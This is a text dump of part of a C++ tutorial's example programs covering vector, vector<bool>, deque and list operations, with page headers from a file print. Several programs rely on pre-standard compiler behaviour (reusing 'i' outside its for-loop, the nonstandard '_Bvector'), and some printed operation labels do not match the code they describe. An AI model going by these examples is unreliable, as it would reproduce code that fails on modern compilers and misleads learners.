for(vec2Iter = vec2.begin(); vec2Iter != vec2.end(); vec2Iter++)
cout<<" "<<*vec2Iter;
cout<<endl;

cout<<"\nOperation: vector <int> vec3(5, 3, vec2.get_allocator())\n";


cout<<"vec3 data: ";
for(vec3Iter = vec3.begin(); vec3Iter != vec3.end(); vec3Iter++)
cout<<" "<<*vec3Iter;
cout<<endl;

cout<<"\nOperation: vector <int> vec4(vec2)\n";


cout<<"vec4 data: ";
for(vec4Iter = vec4.begin(); vec4Iter != vec4.end(); vec4Iter++)
cout<<" "<<*vec4Iter;
cout<<endl;

cout<<"\nOperation: vector <int> vec5(vec4.begin()+1, vec4.begin()+3)\n";


cout<<"vec5 data: ";
for(vec5Iter = vec5.begin(); vec5Iter != vec5.end(); vec5Iter++)
cout<<" "<<*vec5Iter;
cout<<endl;
return 0;
}

---------------------------------------------------------------------------

//vector, assign()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec2;
vector <int>::iterator Iter;

vec2.push_back(1);
vec2.push_back(5);
vec2.push_back(3);
vec2.push_back(4);
vec2.push_back(5);
vec2.push_back(3);

file:///C|/Tutorial.txt (415 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

vec2.push_back(7);
vec2.push_back(8);
vec2.push_back(4);

cout<<"Operation: vec2.begin() and vec2.end()"<<endl;


cout<<"vec2 data: ";
for(Iter = vec2.begin(); Iter != vec2.end(); Iter++)
cout<<*Iter<<" ";
cout<<"\n\n";

cout<<"Operation: vec2.assign(vec2.begin()+1, vec2.begin()+3)"<<endl;


vec2.assign(vec2.begin()+2, vec2.begin()+8);
cout<<"vec2 data: ";
for(Iter = vec2.begin(); Iter != vec2.end(); Iter++)
cout<<*Iter<<" ";
cout<<"\n\n";

cout<<"Operation: vec2.assign(5, 7)"<<endl;


vec2.assign(5, 7);
cout<<"vec2 data: ";
for(Iter = vec2.begin(); Iter != vec2.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;
return 0;
}

---------------------------------------------------------------------------

//vector, at()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;

vec1.push_back(1);
vec1.push_back(7);
vec1.push_back(4);
vec1.push_back(3);

//print all elements separated by a space


cout<<"The vec1 data: ";
for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';

cout<<"\n\nOperation: vec1.at(position)";
const int &x = vec1.at(1);
int &y = vec1.at(3);
int &z = vec1.at(0);
cout<<"\nThe 2nd element is "<<x<<endl;
cout<<"The 4th element is "<<y<<endl;
cout<<"The 1st element is "<<z<<endl;
return 0;
}

file:///C|/Tutorial.txt (416 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

---------------------------------------------------------------------------

//vector, back() and front()


#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2;
vec1.push_back(12);
vec1.push_back(10);
vec1.push_back(7);

//print all elements separated by a space


cout<<"vec1 data: ";
for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

int& x = vec1.back();
const int& y = vec1.front();

cout<<"\nOperation: x = vec1.back()\n";
cout<<"The last integer of vec1 is "<<x<<endl;

cout<<"Operation: y = vec1.front()\n";
cout<<"The 1st integer of vec1 is "<<y<<endl;

return 0;
}

---------------------------------------------------------------------------

//vector, begin()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vector <int>::iterator vec1_Iter;

vec1.push_back(21);
vec1.push_back(12);
vec1.push_back(32);

cout<<"vec1 data: ";


for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"\nOperation: vec1.begin()\n";

file:///C|/Tutorial.txt (417 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

vec1_Iter = vec1.begin();
cout<<"The first element of vec1 is "<<*vec1_Iter<<endl;

cout<<"\nOperation: *vec1_Iter = 10\n";


*vec1_Iter = 10;
cout<<"new vec1 data: ";
for(i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"Operation: vec1.begin()\n";
vec1_Iter = vec1.begin();
cout<<"The first element of vec1 is now "<<*vec1_Iter<<endl;
return 0;
}

---------------------------------------------------------------------------

//vector, capacity()
//and size()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;

vec1.push_back(3);
vec1.push_back(1);
vec1.push_back(6);

cout<<"vec1 data: ";


for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"Operation: vec1.capacity()\n";
cout<<"The length of storage allocated is "<<vec1.capacity()<<"."<<endl;

vec1.push_back(10);
vec1.push_back(12);
vec1.push_back(4);

cout<<"\nnew vec1 data: ";


for(i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"The length of storage allocated is now "<<vec1.capacity()<<"."<<endl;


return 0;
}

---------------------------------------------------------------------------

//vector, clear(), empty()

file:///C|/Tutorial.txt (418 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//and size()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;

vec1.push_back(10);
vec1.push_back(20);
vec1.push_back(30);

cout<<"vec1 data: ";


for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"The size of vec1 is "<<vec1.size()<<endl;

cout<<"\nOperation: vec1.empty()"<<endl;
if(vec1.empty())
cout<<"vec1 is empty"<<endl;
else
cout<<"vec1 is not empty"<<endl;

cout<<"\nOperation: vec1.clear()"<<endl;
vec1.clear();
cout<<"The size of vec1 after clearing is "<<vec1.size()<<endl;

cout<<"\nOperation: vec1.empty()"<<endl;
if(vec1.empty())
cout<<"vec1 is empty"<<endl;
else
cout<<"vec1 is not empty"<<endl;
return 0;
}

---------------------------------------------------------------------------

//vector, begin(), end()


#include <vector>
#include <iostream>

int main( )
{
using namespace std;
vector <int> vec1;
vector <int>::iterator vec1_Iter;

vec1.push_back(9);
vec1.push_back(2);
vec1.push_back(7);
vec1.push_back(3);

cout<<"Operation: vec1.begin() and vec1.end()"<<endl;

file:///C|/Tutorial.txt (419 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"vec1 data: ";


for(vec1_Iter = vec1.begin(); vec1_Iter != vec1.end(); vec1_Iter++)
cout<<*vec1_Iter<<' ';
cout<<endl;
return 0;
}

---------------------------------------------------------------------------

//vector, erase(), begin()


//and end()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vector <int>::iterator Iter;
vec1.push_back(3);
vec1.push_back(7);
vec1.push_back(22);
vec1.push_back(5);
vec1.push_back(12);
vec1.push_back(17);

cout<<"Original vec1 data: ";


for(Iter = vec1.begin(); Iter != vec1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;

cout<<"\nOperation: erase(vec1.begin()"<<endl;
vec1.erase(vec1.begin());
cout<<"New vec1 data: ";
for(Iter = vec1.begin(); Iter != vec1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;

cout<<"\nOperation: vec1.erase(vec1.begin()+1, vec1.begin()+3)"<<endl;


vec1.erase(vec1.begin() + 1, vec1.begin() + 3);
cout<<"New vec1 data: ";
for(Iter = vec1.begin(); Iter != vec1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;
return 0;
}

---------------------------------------------------------------------------

//vector, insert()
//begin(), end()
#include <vector>
#include <iostream>
using namespace std;

int main()

file:///C|/Tutorial.txt (420 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
vector <int> vec1;
vector <int>::iterator Iter;
vec1.push_back(12);
vec1.push_back(100);
vec1.push_back(9);
vec1.push_back(21);

cout<<"Original vec1 data: ";


for(Iter = vec1.begin(); Iter != vec1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;

cout<<"\nOperation: vec1.insert(vec1.begin()+1, 17)"<<endl;


vec1.insert(vec1.begin()+1, 17);
cout<<"New vec1 data: ";
for(Iter = vec1.begin(); Iter != vec1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;

cout<<"\nOperation: vec1.insert(vec1.begin()+2, 3, 24)"<<endl;


vec1.insert(vec1.begin()+2, 3, 24);
cout<<"New vec1 data: ";
for(Iter = vec1.begin(); Iter != vec1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;

cout<<"\nOperation: vec1.insert(vec1.begin()+1, \n"


" vec1.begin()+2, vec1.begin()+4)"<<endl;
vec1.insert(vec1.begin()+1, vec1.begin()+2, vec1.begin()+4);
cout<<"New vec1 data: ";
for(Iter = vec1.begin(); Iter != vec1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;
return 0;
}

---------------------------------------------------------------------------

//vector, max_size()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vector <int>::size_type i;

i = vec1.max_size();
cout<<"The max possible length of the vector is "<<i<<endl;
return 0;
}

---------------------------------------------------------------------------

file:///C|/Tutorial.txt (421 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//vector, pop_back(), back()


//and push_back()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;

vec1.push_back(4);
vec1.push_back(7);
vec1.push_back(3);

cout<<"vec1 data: ";


for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"\nOperation: vec1.back()\n";
cout<<vec1.back()<<endl;

cout<<"\nOperation: push_back(2)\n";
vec1.push_back(2);
cout<<vec1.back()<<endl;

cout<<"New vec1 data: ";


for(i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"\nOperation: vec1.pop_back()\n";
vec1.pop_back();
cout<<vec1.back()<<endl;

cout<<"New vec1 data: ";


for(i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

return 0;
}

---------------------------------------------------------------------------

//vector, rbegin()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vector <int>::iterator vec1_Iter;
vector <int>::reverse_iterator vec1_rIter;

file:///C|/Tutorial.txt (422 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

vec1.push_back(10);
vec1.push_back(7);
vec1.push_back(3);

cout<<"vec1 data: ";


for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"\nOperation: vec1.begin()\n";
vec1_Iter = vec1.begin();
cout<<"The first element of vec1 is "<<*vec1_Iter<<endl;

cout<<"\nOperation: vec1.rbegin()\n";
vec1_rIter = vec1.rbegin();
cout<<"The first element of the reversed vec1 is "<<*vec1_rIter<<endl;
return 0;
}

---------------------------------------------------------------------------

//vector, rend()
//and rbegin()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vector <int>::reverse_iterator vec1_rIter;

vec1.push_back(7);
vec1.push_back(3);
vec1.push_back(4);
vec1.push_back(1);

cout<<"Operation: vec1.rbegin() and vec1.rend()\n";


cout<<"vec1 data: ";
for(vec1_rIter = vec1.rbegin(); vec1_rIter != vec1.rend(); vec1_rIter++)
cout<<*vec1_rIter<<' ';
cout<<endl;
return 0;
}

---------------------------------------------------------------------------

//vector, resize()
//and size()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;

file:///C|/Tutorial.txt (423 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

vec1.push_back(40);
vec1.push_back(20);
vec1.push_back(10);
vec1.push_back(12);

cout<<"vec1 data: ";


for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

//resize to 5 and add data at the end...


cout<<"\nOperation: vec1.resize(5,30)\n";
vec1.resize(5,30);
cout<<"The size of vec1 is "<<vec1.size()<<endl;
cout<<"The value of the last object is "<<vec1.back()<<endl;
cout<<"\nNew vec1 data: ";
for(i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"\nOperation: vec1.resize(4)\n";
vec1.resize(4);

cout<<"\nNew vec1 data: ";


for(i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"\nThe new size of vec1 is "<<vec1.size()<<endl;


cout<<"The value of the last object is "<<vec1.back()<<endl;
return 0;
}

---------------------------------------------------------------------------

//vector, reserve()
//capacity() and size()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;

vec1.push_back(4);
vec1.push_back(2);
vec1.push_back(10);

cout<<"vec1 data: ";


for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"\nOperation: vec1.capacity()"<<endl;
cout<<"Current capacity of vec1 = "<<vec1.capacity()<<endl;

file:///C|/Tutorial.txt (424 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"\nOperation: vec1.reserve(10)"<<endl;
vec1.reserve(10);

cout<<"Current capacity of vec1 = "<<vec1.capacity()<<endl;


cout<<"\nOperation: vec1.size()"<<endl;
cout<<"Current size of vec1 = "<<vec1.size()<<endl;
return 0;
}

---------------------------------------------------------------------------

//vector, swap()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2;

vec1.push_back(4);
vec1.push_back(7);
vec1.push_back(2);
vec1.push_back(12);

cout<<"vec1 data: ";


for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

vec2.push_back(11);
vec2.push_back(21);
vec2.push_back(30);

cout<<"vec2 data: ";


for(i=0; i<vec2.size(); ++i)
cout<<vec2[i]<<' ';
cout<<endl;

cout<<"The number of elements in vec1 = "<<vec1.size()<<endl;


cout<<"The number of elements in vec2 = "<<vec2.size()<<endl;
cout<<endl;

cout<<"Operation: vec1.swap(vec2)\n"<<endl;
vec1.swap(vec2);
cout<<"The number of elements in v1 = "<<vec1.size()<<endl;
cout<<"The number of elements in v2 = "<<vec2.size()<<endl;

cout<<"vec1 data: ";


for(i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"vec2 data: ";


for(i=0; i<vec2.size(); ++i)
cout<<vec2[i]<<' ';

file:///C|/Tutorial.txt (425 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<endl;
return 0;
}

---------------------------------------------------------------------------

//vector operator[]
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;

vec1.push_back(10);
vec1.push_back(9);
vec1.push_back(8);
vec1.push_back(12);

cout<<"vec1 data: ";


for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"Operation: int& j = vec1[2]\n";


int& j = vec1[2];
cout<<"The third integer of vec1 is "<<j<<endl;
return 0;
}

---------------------------------------------------------------------------

//vector_bool, flip()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
_Bvector vecbool;

vecbool.push_back(1);
vecbool.push_back(0);

cout<<"The vector is: "<<vecbool.front()<<" "<<vecbool.back()<<endl;


cout<<"\nOperation: vecbool.flip()\n";
vecbool.flip();
cout<<"The flipped vector is: "<<vecbool.front()<<" "<<vecbool.back()<<endl;
return 0;
}

--------------------------------------------------------------------------------------

//vector_bool, swap()
#include <vector>

file:///C|/Tutorial.txt (426 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <iostream>
using namespace std;

int main()
{
_Bvector vec1, vec2;

vec1.push_back(0);
vec1.push_back(0);
vec2.push_back(1);
vec2.push_back(1);

cout<<"The vector vec1 is: "<<vec1.front()<<" "<<vec1.back()<<endl;


cout<<"The vector vec2 is: "<<vec2.front()<<" "<<vec2.back()<<endl;

cout<<"Operation: swap(vec1, vec2);\n";


swap(vec1, vec2);
cout<<"After swapping, vec1 is: "<<vec1.front()<<" "<<vec1.back()<<endl;
cout<<"After swapping, vec2 is: "<<vec2.front()<<" "<<vec2.back()<<endl;
return 0;
}

-------------------------------------------------------------------------------------------

//simple deque example


#include <iostream>
#include <deque>
using namespace std;

int main()
{
//deque container for floating-point elements
//declaration
deque<float> elem, elem1;

//insert the elements each at the front


cout<<"push_front()\n";
for(int i=1; i<=10; ++i)
//insert at the front
elem.push_front(i*(1.2));

//print all elements separated by a space


for(i=0; i<elem.size(); ++i)
cout<<elem[i]<<' ';
cout<<endl;

//insert the elements each at the back


cout<<"\npush_back()\n";
//insert at the back
for(i=1; i<=10; ++i)
elem1.push_back(i*(1.2));

//print all elements separated by a space


for(i=0; i<elem1.size(); ++i)
cout<<elem1[i]<<' ';
cout<<endl;

file:///C|/Tutorial.txt (427 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

return 0;
}

--------------------------------------------------------------------------------------------------

//deque, constructors
#include <deque>
#include <iostream>
using namespace std;

int main()
{
deque <int>::iterator deq0Iter, deq1Iter, deq2Iter, deq3Iter, deq4Iter, deq5Iter, deq6Iter;

//Create an empty deque deq0


deque <int> deq0;

//Create a deque deq1 with 10 elements of default value 0


deque <int> deq1(10);

//Create a deque deq2 with 7 elements of value 10


deque <int> deq2(7, 10);

//Create a deque deq3 with 4 elements of value 2 and with the


//allocator of deque deq2
deque <int> deq3(4, 2, deq2.get_allocator());

//Create a copy, deque deq4, of deque deq2


deque <int> deq4(deq2);

//deque deq5 a copy of the deq4[_First, _Last) range


deq4Iter = deq4.begin();
deq4Iter++;
deq4Iter++;
deq4Iter++;
deque <int> deq5(deq4.begin(), deq4Iter);

//Create a deque deq6 by copying the range deq4[_First, _Last) and


//the allocator of deque deq2
deq4Iter = deq4.begin();
deq4Iter++;
deq4Iter++;
deq4Iter++;
deque <int> deq6(deq4.begin(), deq4Iter, deq2.get_allocator());

//------------------------------------
cout<<"Operation: deque <int> deq0\n";
cout<<"deq0 data: ";
for(deq0Iter = deq0.begin(); deq0Iter != deq0.end(); deq0Iter++)
cout<<*deq0Iter<<" ";
cout<<endl;

cout<<"\nOperation: deque <int> deq1(10)\n";


cout<<"deq1 data: ";
for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)

file:///C|/Tutorial.txt (428 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<*deq1Iter<<" ";
cout<<endl;

cout<<"\nOperation: deque <int> deq2(7, 3)\n";


cout<<"deq2 data: ";
for(deq2Iter = deq2.begin(); deq2Iter != deq2.end(); deq2Iter++)
cout<<*deq2Iter<<" ";
cout<<endl;

cout<<"\nOperation: deque <int> deq3(4, 2, deq2.get_allocator())\n";


cout<<"deq3 data: ";
for(deq3Iter = deq3.begin(); deq3Iter != deq3.end(); deq3Iter++)
cout<<*deq3Iter<<" ";
cout<<endl;

cout<<"\nOperation: deque <int> deq4(deq2);\n";


cout<<"deq4 data: ";
for(deq4Iter = deq4.begin(); deq4Iter != deq4.end(); deq4Iter++)
cout<<*deq4Iter<<" ";
cout<<endl;

cout<<"\nOperation1: deq4Iter++...\n";
cout<<"Operation2: deque <int> deq5(deq4.begin(), deq4Iter)\n";
cout<<"deq5 data: ";
for(deq5Iter = deq5.begin(); deq5Iter != deq5.end(); deq5Iter++)
cout << *deq5Iter<<" ";
cout << endl;

cout<<"\nOperation1: deq4Iter = deq4.begin() and deq4Iter++...\n";


cout<<"Operation2: deque <int> deq6(deq4.begin(), \n"
" deq4Iter, deq2.get_allocator())\n";
cout<<"deq6 data: ";
for(deq6Iter = deq6.begin(); deq6Iter != deq6.end(); deq6Iter++)
cout<<*deq6Iter<<" ";
cout<<endl;
return 0;
}

-----------------------------------------G++ on Fedora---------------------------------------------

//*******vector.cpp*********
//vector constructors
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int>::iterator vec0Iter, vec1Iter, vec2Iter, vec3Iter, vec4Iter, vec5Iter;

//Create an empty vector vec0


vector <int> vec0;

//Create a vector vec1 with 10 elements of default value 0


vector <int> vec1(10);

file:///C|/Tutorial.txt (429 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//Create a vector vec2 with 7 elements of value 13


vector <int> vec2(7, 13);

//Create a vector vec3 with 5 elements of value 3 and with the allocator
//of vector vec2
vector <int> vec3(5, 3, vec2.get_allocator());

//vector vec4, a copy of vector vec2


vector <int> vec4(vec2);

//Create a vector vec5 by copying the range of vec4[_First, _Last)


vector <int> vec5(vec4.begin() + 1, vec4.begin() + 3);

cout<<"Operation: vector <int> vec0\n";


cout<<"vec0 data: ";
for(vec0Iter = vec0.begin(); vec0Iter != vec0.end(); vec0Iter++)
cout<<" "<<*vec0Iter;
cout<<endl;

cout<<"\nOperation: vector <int> vec1(10)\n";


cout<<"vec1 data: ";
for(vec1Iter = vec1.begin(); vec1Iter != vec1.end(); vec1Iter++)
cout<<" "<<*vec1Iter;
cout<<endl;

cout<<"\nOperation: vector <int> vec2(7, 13)\n";


cout<<"vec2 data: ";
for(vec2Iter = vec2.begin(); vec2Iter != vec2.end(); vec2Iter++)
cout<<" "<<*vec2Iter;
cout<<endl;

cout<<"\nOperation: vector <int> vec3(5, 3, vec2.get_allocator())\n";


cout<<"vec3 data: ";
for(vec3Iter = vec3.begin(); vec3Iter != vec3.end(); vec3Iter++)
cout<<" "<<*vec3Iter;
cout<<endl;

cout<<"\nOperation: vector <int> vec4(vec2)\n";


cout<<"vec4 data: ";
for(vec4Iter = vec4.begin(); vec4Iter != vec4.end(); vec4Iter++)
cout<<" "<<*vec4Iter;
cout<<endl;

cout<<"\nOperation: vector <int> vec5(vec4.begin()+1, vec4.begin()+3)\n";


cout<<"vec5 data: ";
for(vec5Iter = vec5.begin(); vec5Iter != vec5.end(); vec5Iter++)
cout<<" "<<*vec5Iter;
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------------

//********deque.cpp*********
//deque, constructors
#include <deque>

file:///C|/Tutorial.txt (430 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <iostream>
using namespace std;

int main()
{
deque <int>::iterator deq0Iter, deq1Iter, deq2Iter, deq3Iter, deq4Iter, deq5Iter, deq6Iter;

//Create an empty deque deq0


deque <int> deq0;

//Create a deque deq1 with 10 elements of default value 0


deque <int> deq1(10);

//Create a deque deq2 with 7 elements of value 10


deque <int> deq2(7, 10);

//Create a deque deq3 with 4 elements of value 2 and with the


//allocator of deque deq2
deque <int> deq3(4, 2, deq2.get_allocator());

//Create a copy, deque deq4, of deque deq2


deque <int> deq4(deq2);

//deque deq5 a copy of the deq4[_First, _Last) range


deq4Iter = deq4.begin();
deq4Iter++;
deq4Iter++;
deq4Iter++;
deque <int> deq5(deq4.begin(), deq4Iter);

//Create a deque deq6 by copying the range deq4[_First, _Last) and


//the allocator of deque deq2
deq4Iter = deq4.begin();
deq4Iter++;
deq4Iter++;
deq4Iter++;
deque <int> deq6(deq4.begin(), deq4Iter, deq2.get_allocator());

//------------------------------------
cout<<"Operation: deque <int> deq0\n";
cout<<"deq0 data: ";
for(deq0Iter = deq0.begin(); deq0Iter != deq0.end(); deq0Iter++)
cout<<*deq0Iter<<" ";
cout<<endl;

cout<<"\nOperation: deque <int> deq1(10)\n";


cout<<"deq1 data: ";
for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;

cout<<"\nOperation: deque <int> deq2(7, 3)\n";


cout<<"deq2 data: ";
for(deq2Iter = deq2.begin(); deq2Iter != deq2.end(); deq2Iter++)
cout<<*deq2Iter<<" ";
cout<<endl;

file:///C|/Tutorial.txt (431 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"\nOperation: deque <int> deq3(4, 2, deq2.get_allocator())\n";


cout<<"deq3 data: ";
for(deq3Iter = deq3.begin(); deq3Iter != deq3.end(); deq3Iter++)
cout<<*deq3Iter<<" ";
cout<<endl;

cout<<"\nOperation: deque <int> deq4(deq2);\n";


cout<<"deq4 data: ";
for(deq4Iter = deq4.begin(); deq4Iter != deq4.end(); deq4Iter++)
cout<<*deq4Iter<<" ";
cout<<endl;

cout<<"\nOperation1: deq4Iter++...\n";
cout<<"Operation2: deque <int> deq5(deq4.begin(), deq4Iter)\n";
cout<<"deq5 data: ";
for(deq5Iter = deq5.begin(); deq5Iter != deq5.end(); deq5Iter++)
cout << *deq5Iter<<" ";
cout << endl;

cout<<"\nOperation1: deq4Iter = deq4.begin() and deq4Iter++...\n";


cout<<"Operation2: deque <int> deq6(deq4.begin(), \n"
" deq4Iter, deq2.get_allocator())\n";
cout<<"deq6 data: ";
for(deq6Iter = deq6.begin(); deq6Iter != deq6.end(); deq6Iter++)
cout<<*deq6Iter<<" ";
cout<<endl;
return 0;
}

============================MODULE28=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
g++ are given at the end of every Module. For example if you want
to compile C++ codes using VC++/VC++ .Net, change the header file accordingly.
Just need some modification for the header files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

file:///C|/Tutorial.txt (432 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================

//list example
#include <iostream>
#include <list>
using namespace std;

int main()
{
//list container for character elements
list<char> elem;

//append elements from 'a' to 'z'


for(char chs='a'; chs<= 'z'; ++chs)
elem.push_back(chs);

//while there are elements


//print and remove the element
while(!elem.empty())
{
cout<<elem.front()<<' ';
elem.pop_front();
}
cout<<endl;
return 0;
}

---------------------------------------------------------------------------------------------

//list constructors
#include <list>
#include <iostream>

file:///C|/Tutorial.txt (433 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

using namespace std;

int main()
{
list <int>::iterator li0Iter, li1Iter, li2Iter, li3Iter, li4Iter, li5Iter, li6Iter;

//Create an empty list li0


list <int> li0;

//Create a list li1 with 10 elements of default value 0


list <int> li1(10);

//Create a list li2 with 8 elements of value 7


list <int> li2(8, 7);

//Create a list li3 with 9 elements of value 8 and with the


//allocator of list li2
list <int> li3(9, 8, li2.get_allocator());

//li4, a copy of list li2


list <int> li4(li2);

//Create a list li5 by copying the range of li4[_First, _Last)


li4Iter = li4.begin();
li4Iter++;
li4Iter++;
li4Iter++;
li4Iter++;
list <int> li5(li4.begin(), li4Iter);

//Create a list li6 by copying the range of li4[_First, _Last) and with
//the allocator of list li2
li4Iter = li4.begin();
li4Iter++;
li4Iter++;
li4Iter++;
list <int> li6(li4.begin(), li4Iter, li2.get_allocator());

//----------------------------------------------------
cout<<"Operation: list <int> li0\n";
cout<<"li0 data: ";
for(li0Iter = li0.begin(); li0Iter != li0.end(); li0Iter++)
cout<<" "<<*li0Iter;
cout<<endl;

cout<<"\nOperation: list <int> li1(10)\n";


cout<<"li1 data: ";
for(li1Iter = li1.begin(); li1Iter != li1.end(); li1Iter++)
cout<<" "<<*li1Iter;
cout<<endl;

cout<<"\nOperation: list <int> li2(8, 7)\n";


cout<<"li2 data: ";
for(li2Iter = li2.begin(); li2Iter != li2.end(); li2Iter++)
cout<<" "<<*li2Iter;
cout<<endl;

file:///C|/Tutorial.txt (434 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"\nOperation: list <int> li3(9, 8, li2.get_allocator())\n";


cout<<"li3 data: ";
for(li3Iter = li3.begin(); li3Iter != li3.end(); li3Iter++)
cout<<" "<<*li3Iter;
cout<<endl;

cout<<"\nOperation: list <int> li4(li2);\n";


cout<<"li4 data: ";
for(li4Iter = li4.begin(); li4Iter != li4.end(); li4Iter++)
cout<<" "<<*li4Iter;
cout<<endl;

cout<<"\nOperation1: li4Iter = li4.begin(), li4Iter++...\n";


cout<<"Operation2: list <int> li5(li4.begin(), li4Iter)\n";
cout<<"li5 data: ";
for(li5Iter = li5.begin(); li5Iter != li5.end(); li5Iter++)
cout<<" "<<*li5Iter;
cout<<endl;

cout<<"\nOperation1: li4Iter = li4.begin(), li4Iter++...\n";


cout<<"Operation2: list <int> li6(li4.begin(), li4Iter,\n"
" li2.get_allocator())\n";
cout<<"li6 data: ";
for(li6Iter = li6.begin(); li6Iter != li6.end(); li6Iter++)
cout<<" "<<*li6Iter;
cout<<endl;
return 0;
}

------------------------------------------------------------------------------------------

//list, insert()
#include <list>
#include <iostream>
using namespace std;

int main()
{
list <int> lis1, lis2;
list <int>::iterator Iter;

lis1.push_back(13);
lis1.push_back(22);
lis1.push_back(15);
lis2.push_back(9);
lis2.push_back(5);
lis2.push_back(45);

cout<<"lis1 data: ";


for(Iter = lis1.begin(); Iter != lis1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;

cout<<"lis2 data: ";


for(Iter = lis2.begin(); Iter != lis2.end(); Iter++)

file:///C|/Tutorial.txt (435 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<" "<<*Iter;
cout<<endl;

cout<<"\nOperation1: lis1.begin() then Iter++...\n";


